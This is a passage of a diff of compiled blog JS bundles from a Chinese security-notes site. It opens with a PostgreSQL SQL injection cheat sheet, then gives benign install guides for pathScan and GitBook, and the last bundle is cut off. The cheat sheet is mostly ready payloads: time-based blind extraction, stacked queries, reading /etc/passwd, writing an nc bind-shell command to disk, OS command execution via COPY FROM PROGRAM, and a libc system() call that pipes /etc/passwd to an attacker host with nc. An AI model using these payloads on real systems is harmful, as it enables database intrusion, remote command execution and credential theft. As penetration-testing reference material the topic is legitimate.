schema\n"})}),"\n",(0,t.jsx)(s.p,{children:"\u6ce8\u610f\uff0c\u5bf9\u4e8e\u4e0a\u8ff0\u67e5\u8be2\uff0c\u9700\u8981\u5728\u5185\u5b58\u4e2d\u7ec4\u88c5\u8f93\u51fa\u3002\u5bf9\u4e8e\u8f83\u5927\u7684\u6570\u636e\u5e93\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5bfc\u81f4\u901f\u5ea6\u51cf\u6162\u6216\u62d2\u7edd\u670d\u52a1\u7684\u60c5\u51b5\u3002"}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8e\u76f2\u6ce8",children:"PostgreSQL \u57fa\u4e8e\u76f2\u6ce8"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK\n' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u57fa\u4e8e\u65f6\u95f4",children:"PostgreSQL \u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,t.jsx)(s.h4,{id:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684",children:"\u786e\u5b9a\u57fa\u4e8e\u65f6\u95f4\u7684"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select 1 from pg_sleep(5)\n;(select 1 from pg_sleep(5))\n||(select 1 from pg_sleep(5))\n"})}),"\n",(0,t.jsx)(s.h4,{id:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4",children:"\u57fa\u4e8e\u6570\u636e\u5e93\u8f6c\u50a8\u65f6\u95f4"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1\n"})}),"\n",(0,t.jsx)(s.h4,{id:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4",children:"\u57fa\u4e8e\u8868\u8f6c\u50a8\u65f6\u95f4"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1\n"})}),"\n",(0,t.jsx)(s.h4,{id:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4",children:"\u5217\u8f6c\u50a8\u57fa\u4e8e\u65f6\u95f4"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1\nselect case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1\n"})}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))\nAND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u5806\u53e0\u67e5\u8be2",children:"PostgreSQL \u5806\u53e0\u67e5\u8be2"}),"\n",(0,t.jsx)(s.p,{children:"\u4f7f\u7528\u5206\u53f7\u201c\uff1b\u201d\u6dfb\u52a0\u53e6\u4e00\u4e2a\u67e5\u8be2"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6587\u4ef6\u8bfb\u53d6",children:"PostgreSQL \u6587\u4ef6\u8bfb\u53d6"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"select pg_ls_dir('./');\nselect pg_read_file('PG_VERSION', 0, 200);\n"})}),"\n",(0,t.jsxs)(s.p,{children:["\u6ce8\u610f\uff1a\u65e9\u671f\u7248\u672c\u7684 Postgres \u4e0d\u63a5\u53d7 ",(0,t.jsx)(s.code,{children:"pg_read_file"})," \u6216 ",(0,t.jsx)(s.code,{children:"pg_ls_dir"})," \u4e2d\u7684\u7edd\u5bf9\u8def\u5f84\u3002\u8f83\u65b0\u7684\u7248\u672c\uff08\u4ece",(0,t.jsx)(s.a,{href:"https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a",children:"this"}),"\u63d0\u4ea4\u8d77\uff09\u5c06\u5141\u8bb8\u8bfb\u53d6\u8d85\u7ea7\u7528\u6237\u6216 ",(0,t.jsx)(s.code,{children:"default_role_read_server_files"})," \u7ec4\u4e2d\u7684\u7528\u6237\u7684\u4efb\u4f55\u6587\u4ef6/\u6587\u4ef6\u8def\u5f84\u3002"]}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"CREATE TABLE temp(t TEXT);\nCOPY temp FROM '/etc/passwd';\nSELECT * FROM temp limit 1 offset 0;\n"})}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID\nSELECT lo_get(16420); -- use the OID returned from the above\nSELECT * from pg_largeobject; -- or just get all the large objects and their data\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u6587\u4ef6\u5199\u5165",children:"PostgreSQL \u6587\u4ef6\u5199\u5165"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"CREATE TABLE pentestlab (t TEXT);\nINSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');\nSELECT * FROM pentestlab;\nCOPY pentestlab(t) TO '/tmp/pentestlab';\n"})}),"\n",(0,t.jsx)(s.p,{children:"\u6216\u8005\u4f5c\u4e3a\u4e00\u884c\uff1a"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';\n"})}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data\nSELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20\nSELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport\n"})}),"\n",(0,t.jsx)(s.h2,{id:"postgresql-\u547d\u4ee4\u6267\u884c",children:"PostgreSQL \u547d\u4ee4\u6267\u884c"}),"\n",(0,t.jsx)(s.h3,{id:"2019-\u5e74-9-\u6708-19-\u65e5",children:"2019 \u5e74 9 \u6708 19 \u65e5"}),"\n",(0,t.jsxs)(s.p,{children:["\u5982\u679c\u60a8\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\u6570\u636e\u5e93\uff0c\u5219\u53ef\u4ee5\u4ece",(0,t.jsx)(s.a,{href:"https://github.com/rapid7/metasploit-framework/pull/11598",children:"Metasploit"}),"\u4f7f\u7528\uff0c\u5426\u5219\u60a8\u9700\u8981\u624b\u52a8\u6267\u884c\u4ee5\u4e0b SQL \u67e5\u8be2\u3002"]}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-SQL",children:"DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists\nCREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output\nCOPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function\nSELECT * FROM cmd_exec; -- [Optional] View the results\nDROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table\n"})}),"\n",(0,t.jsx)(s.p,{children:(0,t.jsx)(s.img,{src:"https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png",alt:"https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png"})}),"\n",(0,t.jsx)(s.h3,{id:"\u4f7f\u7528-libcso6",children:"\u4f7f\u7528 libc.so.6"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;\nSELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');\n"})}),"\n",(0,t.jsx)(s.h3,{id:"\u65c1\u901a\u8fc7\u6ee4\u5668",children:"\u65c1\u901a\u8fc7\u6ee4\u5668"}),"\n",(0,t.jsx)(s.h4,{id:"\u62a5\u4ef7",children:"\u62a5\u4ef7"}),"\n",(0,t.jsx)(s.p,{children:"\u4f7f\u7528 CHR"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT CHR(65)||CHR(66)||CHR(67);\n"})}),"\n",(0,t.jsx)(s.p,{children:"\u4f7f\u7528\u7f8e\u5143\u7b26\u53f7\uff08>=PostgreSQL \u7248\u672c 8\uff09"}),"\n",(0,t.jsx)(s.pre,{children:(0,t.jsx)(s.code,{className:"language-sql",children:"SELECT $$This is a string$$\nSELECT $TAG$This is another string$TAG$\n"})}),"\n",(0,t.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,t.jsxs)(s.ul,{children:["\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9",children:"PostgreSQL \u6e17\u900f\u6d4b\u8bd5\u6307\u5357-David Hayter"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5",children:"Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://hackerone.com/reports/181803",children:"SQL \u6ce8\u5165/webApp/oma_conf ctx \u53c2\u6570\uff08viestinta.lahitapiola.fi\uff09-2016 \u5e74 12 \u6708 8 \u65e5-Sergey Bobrov\uff08Bobrov\uff09"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/",children:"POSTGRESQL 9.X \u8fdc\u7a0b\u547d\u4ee4\u6267\u884c-2017 \u5e74 10 \u6708 26 \u65e5-Daniel"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://pulsesecurity.co.nz/articles/postgres-sqli",children:"SQL \u6ce8\u5165\u548c Postgres-\u6700\u7ec8 RCE \u7684\u5192\u9669-2020 \u5e74 5 \u6708 5 \u65e5-Denis Andzakovic"})}),"\n",(0,t.jsx)(s.li,{children:(0,t.jsx)(s.a,{href:"https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf",children:"\u9ad8\u7ea7 PostgreSQL SQL \u6ce8\u5165\u548c\u8fc7\u6ee4\u5668\u7ed5\u8fc7\u6280\u672f-2009-INFIGO"})}),"\n"]})]})}function h(e={}){const{wrapper:s}={...(0,r.R)(),...e.components};return s?(0,t.jsx)(s,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/8053d113.95f72065.js b/en/assets/js/8053d113.95f72065.js new file mode 100644 index 0000000..d0a14b8 --- /dev/null +++ b/en/assets/js/8053d113.95f72065.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6250],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>l});var c=n(96540);const a={},s=c.createContext(a);function i(e){const t=c.useContext(s);return c.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:i(e.components),c.createElement(s.Provider,{value:t},e.children)}},29735:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>l,default:()=>d,frontMatter:()=>i,metadata:()=>c,toc:()=>r});const c=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","title":"\u4e0b\u8f7d\u5b89\u88c5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/01.\u4e0b\u8f7d\u5b89\u88c5.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u4e0b\u8f7d\u5b89\u88c5","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/06.pathScan-doc/01.\u4e0b\u8f7d\u5b89\u88c5.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"go-proxy-http","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7b80\u6613http\u4ee3\u7406"},"next":{"title":"\u521d\u59cb\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/pathScan-doc/\u521d\u59cb\u5316"}}');var a=n(74848),s=n(28453);const i={},l="\u4e0b\u8f7d\u5b89\u88c5",o={},r=[{value:"Go",id:"go",level:2},{value:"Binary",id:"binary",level:2},{value:"Github",id:"github",level:2},{value:"Docker",id:"docker",level:2}];function h(e){const t={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,s.R)(),...e.components};return(0,a.jsxs)(a.Fragment,{children:[(0,a.jsxs)(t.table,{children:[(0,a.jsx)(t.thead,{children:(0,a.jsxs)(t.tr,{children:[(0,a.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,a.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,a.jsx)(t.tbody,{children:(0,a.jsxs)(t.tr,{children:[(0,a.jsx)(t.td,{style:{textAlign:"left"},children:(0,a.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,a.jsx)(t.td,{style:{textAlign:"left"},children:"2023-08-22 17:33:34"})]})})]}),"\n",(0,a.jsx)(t.header,{children:(0,a.jsx)(t.h1,{id:"\u4e0b\u8f7d\u5b89\u88c5",children:"\u4e0b\u8f7d\u5b89\u88c5"})}),"\n",(0,a.jsxs)(t.blockquote,{children:["\n",(0,a.jsxs)(t.p,{children:["[!Tip] ",(0,a.jsx)(t.a,{href:"https://github.com/wjlin0/pathScan",children:"pathScan"}),"\u51e0\u4e4e\u652f\u6301\u6240\u6709\u5e73\u53f0,\u60a8\u53ef\u4ee5\u5728\u4e0b\u9762\u7684\u5b89\u88c5\u65b9\u5f0f\u4e2d\u627e\u5230\u76f8\u5e94\u5e73\u53f0\u7684\u5b89\u88c5\u65b9\u5f0f\uff0c\u82e5\u60a8\u7684\u5e73\u53f0\u4e0d\u652f\u6301\uff0c\u8bf7\u4f7f\u7528 ",(0,a.jsx)(t.a,{href:"https://github.com/golang/go",children:"Go1.19"})," \u4ee5\u4e0a\u7684\u7248\u672c\u81ea\u884c\u7f16\u8bd1"]}),"\n"]}),"\n",(0,a.jsx)(t.h2,{id:"go",children:"Go"}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"go install gitub.com/wjlin0/pathScan@latest\n"})}),"\n",(0,a.jsx)(t.h2,{id:"binary",children:"Binary"}),"\n",(0,a.jsxs)(t.blockquote,{children:["\n",(0,a.jsxs)(t.p,{children:["[!Tip] ",(0,a.jsx)(t.a,{href:"https://github.com/wjlin0/pathScan/releases/latest",children:"\u4e8c\u8fdb\u5236\u6587\u4ef6"})]}),"\n"]}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"wget https://github.com/wjlin0/pathScan/releases/download/v1.3.2/pathScan_v1.3.2_linux_amd64.zip\n"})}),"\n",(0,a.jsx)(t.h2,{id:"github",children:"Github"}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"git clone https://github.com/wjlin0/pathScan.git; \\\ngo build; \\\nmv pathScan /usr/local/bin; \\\npathScan\n"})}),"\n",(0,a.jsx)(t.h2,{id:"docker",children:"Docker"}),"\n",(0,a.jsxs)(t.blockquote,{children:["\n",(0,a.jsx)(t.p,{children:"[!Tip]\u76ee\u524d\u4e0d\u76f4\u63a5\u63d0\u4f9bdocker\u7684\u955c\u50cf\uff0c\u53ef\u81ea\u884c\u7f16\u8bd1"}),"\n"]}),"\n",(0,a.jsx)(t.pre,{children:(0,a.jsx)(t.code,{className:"language-sh",children:"git clone https://github.com/wjlin0/pathScan.git; \\\ndocker build -t pathScan . ;\\\ndocker run --rm --name pathScan -it pathScan -u http://baidu.com\n"})})]})}function d(e={}){const{wrapper:t}={...(0,s.R)(),...e.components};return t?(0,a.jsx)(t,{...e,children:(0,a.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/81281954.031c0a15.js b/en/assets/js/81281954.031c0a15.js new file mode 100644 index 0000000..00d62ef --- /dev/null +++ b/en/assets/js/81281954.031c0a15.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2661],{1099:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234122642-5634203-6de49d941aac04b57d779dd5112c7cb7.png"},3642:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129224035267-33ad003c9bad352aac7671f2aee74d0e.png"},9532:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129223249357-d874280b389a6152edb559150b558aea.png"},20895:(e,n,i)=>{i.d(n,{A:()=>t});const t=i.p+"assets/images/image-20221129234338700-684ee9a5eb11961672019d57228575e6.png"},24466:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>o,default:()=>h,frontMatter:()=>d,metadata:()=>t,toc:()=>r});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/README","title":"\u5b89\u88c5Gitbook","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/02.GitBook\u5b89\u88c5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/02.GitBook\u5b89\u88c5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/02.GitBook\u5b89\u88c5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/"},"next":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51"}}');var l=i(74848),s=i(28453);const d={},o="\u5b89\u88c5Gitbook",c={},r=[{value:"\u5b89\u88c5Gitbook\u6240\u9700\u5de5\u5177",id:"\u5b89\u88c5gitbook\u6240\u9700\u5de5\u5177",level:2},{value:"\u5b89\u88c5gitbook-cli",id:"\u5b89\u88c5gitbook-cli",level:3},{value:"\u5b89\u88c5gitbook summary",id:"\u5b89\u88c5gitbook-summary",level:3},{value:"\u521b\u5efa\u9879\u76ee",id:"\u521b\u5efa\u9879\u76ee",level:2},{value:"\u7f16\u5199book.json",id:"\u7f16\u5199bookjson",level:3},{value:"\u521b\u5efa\u6839\u76ee\u5f55\uff0c\u5bfc\u5165\u7b14\u8bb0",id:"\u521b\u5efa\u6839\u76ee\u5f55\u5bfc\u5165\u7b14\u8bb0",level:3},{value:"\u751f\u6210SUMMARY.MD\u6587\u4ef6",id:"\u751f\u6210summarymd\u6587\u4ef6",level:3},{value:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6",id:"\u6784\u5efa\u9879\u76ee\u9759\u6001\u6587\u4ef6",level:3},{value:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883",id:"\u6d4b\u8bd5\u672c\u5730\u73af\u5883",level:3},{value:"\u6784\u5efagithub Page",id:"\u6784\u5efagithub-page",level:2},{value:"\u6784\u5efagithub\u9879\u76ee",id:"\u6784\u5efagithub\u9879\u76ee",level:3},{value:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6",id:"\u4e0a\u4f20\u9759\u6001\u6587\u4ef6",level:3},{value:"github page \u6784\u5efa",id:"github-page-\u6784\u5efa",level:3},{value:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df",id:"\u914d\u7f6e\u81ea\u5b9a\u4e49\u57df",level:3},{value:"\u8bbf\u95ee",id:"\u8bbf\u95ee",level:3},{value:"\u66f4\u65b0\u6587\u4ef6",id:"\u66f4\u65b0\u6587\u4ef6",level:2},{value:"\u5bfc\u51fa git",id:"\u5bfc\u51fa-git",level:3},{value:"\u66f4\u65b0\u76ee\u5f55",id:"\u66f4\u65b0\u76ee\u5f55",level:3},{value:"\u6784\u5efa\u9759\u6001\u6587\u4ef6",id:"\u6784\u5efa\u9759\u6001\u6587\u4ef6",level:3},{value:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801",id:"\u63d0\u4ea4\u66f4\u65b0\u540e\u7684\u4ee3\u7801",level:3},{value:"\u66f4\u65b0\u811a\u672c",id:"\u66f4\u65b0\u811a\u672c",level:3},{value:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd",id:"\u5e38\u7528\u63d2\u4ef6\u4ecb\u7ecd",level:2},{value:"\u5feb\u901f\u751f\u6210summary",id:"\u5feb\u901f\u751f\u6210summary",level:3},{value:"flexible-alerts \u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757",id:"flexible-alerts-\u9ad8\u7ea7\u683c\u5f0f\u663e\u793a\u7684\u63d0\u793a\u5757",level:3},{value:"\u66f4\u591a\u67e5\u770b",id:"\u66f4\u591a\u67e5\u770b",level:3}];function a(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"\u5b89\u88c5gitbook",children:"\u5b89\u88c5Gitbook"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:38:07"})]})})]}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u6ce8\u610f\uff1a\u7528\u7684\u547d\u4ee4\u884c\u5c3d\u91cf\u7528powershell \u6709\u4e9b\u547d\u4ee4cmd \u7528\u4e0d\u4e86"}),"\n",(0,l.jsx)(n.p,{children:"\u6bd4\u5982\uff1amv\u7b49\n1"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5gitbook\u6240\u9700\u5de5\u5177",children:"\u5b89\u88c5Gitbook\u6240\u9700\u5de5\u5177"}),"\n",(0,l.jsx)(n.h3,{id:"\u5b89\u88c5gitbook-cli",children:"\u5b89\u88c5gitbook-cli"}),"\n",(0,l.jsx)(n.p,{children:"\u7528\u4e8egitbook \u547d\u4ee4\u884c\u7684\u5b89\u88c5"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-powershell",children:"npm install gitbook-cli -g\ngitbook --version\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129215233580",src:i(85844).A+"",width:"546",height:"119"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5b89\u88c5gitbook-summary",children:"\u5b89\u88c5gitbook summary"}),"\n",(0,l.jsx)(n.p,{children:"\u7528\u4e8e\u81ea\u52a8\u751f\u6210Summary.md\uff0c\u8be5\u6587\u4ef6\u4e3a\u76ee\u5f55\u6587\u4ef6"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"npm install -g gitbook-summary\nbook --version\n"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"image-20221129220021247",src:i(35025).A+"",width:"492",height:"42"})}),"\n",(0,l.jsx)(n.h2,{id:"\u521b\u5efa\u9879\u76ee",children:"\u521b\u5efa\u9879\u76ee"}),"\n",(0,l.jsx)(n.h3,{id:"\u7f16\u5199bookjson",children:"\u7f16\u5199book.json"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u7528\u6765\u5bfc\u5165\u63d2\u4ef6 \u6216\u6307\u5b9a\u5168\u5c40\u914d\u7f6e\uff0c\u81f3\u4e8e\u6bcf\u4e2a\u63d2\u4ef6\u7684\u7528\u6cd5\u53ef\u767e\u5ea6\u67e5\u8be2\u6216\u5728\u8fd9\u4e2a",(0,l.jsx)(n.a,{href:"https://www.cnblogs.com/mingyue5826/p/10307051.html#217-donate--%E6%89%93%E8%B5%8F%E6%8F%92%E4%BB%B6",children:"\u6587\u7ae0"}),"\u4e2d\u67e5\u770b\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-json",children:'{\n "title": "Wjlin0 Gitbook",\n "author":"Wjlin0",\n "description":"\u8bb0\u5f55\u5b66\u4e60\u7b14\u8bb0",\n "language":"zh-hans",\n "root":"./docs",\n "links" : {\n "sidebar" : {\n "\u535a\u5ba2\u5730\u5740" : "https://wjlin0.com"\n }\n },\n\n "plugins" : [\n "back-to-top-button",\n "expandable-chapters",\n "github-buttons",\n "copy-code-button",\n "page-footer-ex",\n "anchor-navigation-ex",\n "-lunr", \n "-search", \n "hide-element",\n "search-pro",\n "donate",\n "splitter",\n "github",\n "-sharing",\n "sharing-plus",\n "custom-favicon",\n "page-treeview",\n "flexible-alerts"\n ],\n "pluginsConfig": {\n "github": {\n "url": "https://github.com/wjlin0"\n },\n "page-treeview": {\n "copyright": "Copyright © wjlin0",\n "minHeaderCount": "2",\n "minHeaderDeep": "2"\n },\n "favicon": "./favicon.ico",\n "hide-element": {\n "elements": [".gitbook-link",".treeview__copyright",".treeview__main-title"\n ]\n },\n "github-buttons": {\n "buttons": [{\n "user": "wangzhebufangqi",\n "repo": "ActionTest",\n "type": "star",\n "size": "small"\n }]\n }, \n "page-footer-ex": {\n "copyright": "By [Wjlin0](https://wjlin0.com/)\uff0c\u4f7f\u7528[\u77e5\u8bc6\u5171\u4eab \u7f72\u540d-\u76f8\u540c\u65b9\u5f0f\u5171\u4eab 4.0\u534f\u8bae](https://creativecommons.org/licenses/by-sa/4.0/)\u53d1\u5e03",\n "markdown": true,\n "update_label": "\u66f4\u65b0\u65f6\u95f4\uff1a",\n "update_format": "YYYY-MM-DD HH:mm:ss"\n }, \n "donate": {\n "wechat": "",\n "alipay": "",\n "title": "",\n "button": "\u8d4f",\n "alipayText": "\u652f\u4ed8\u5b9d\u6350\u8d60",\n "wechatText": "\u5fae\u4fe1\u6350\u8d60"\n 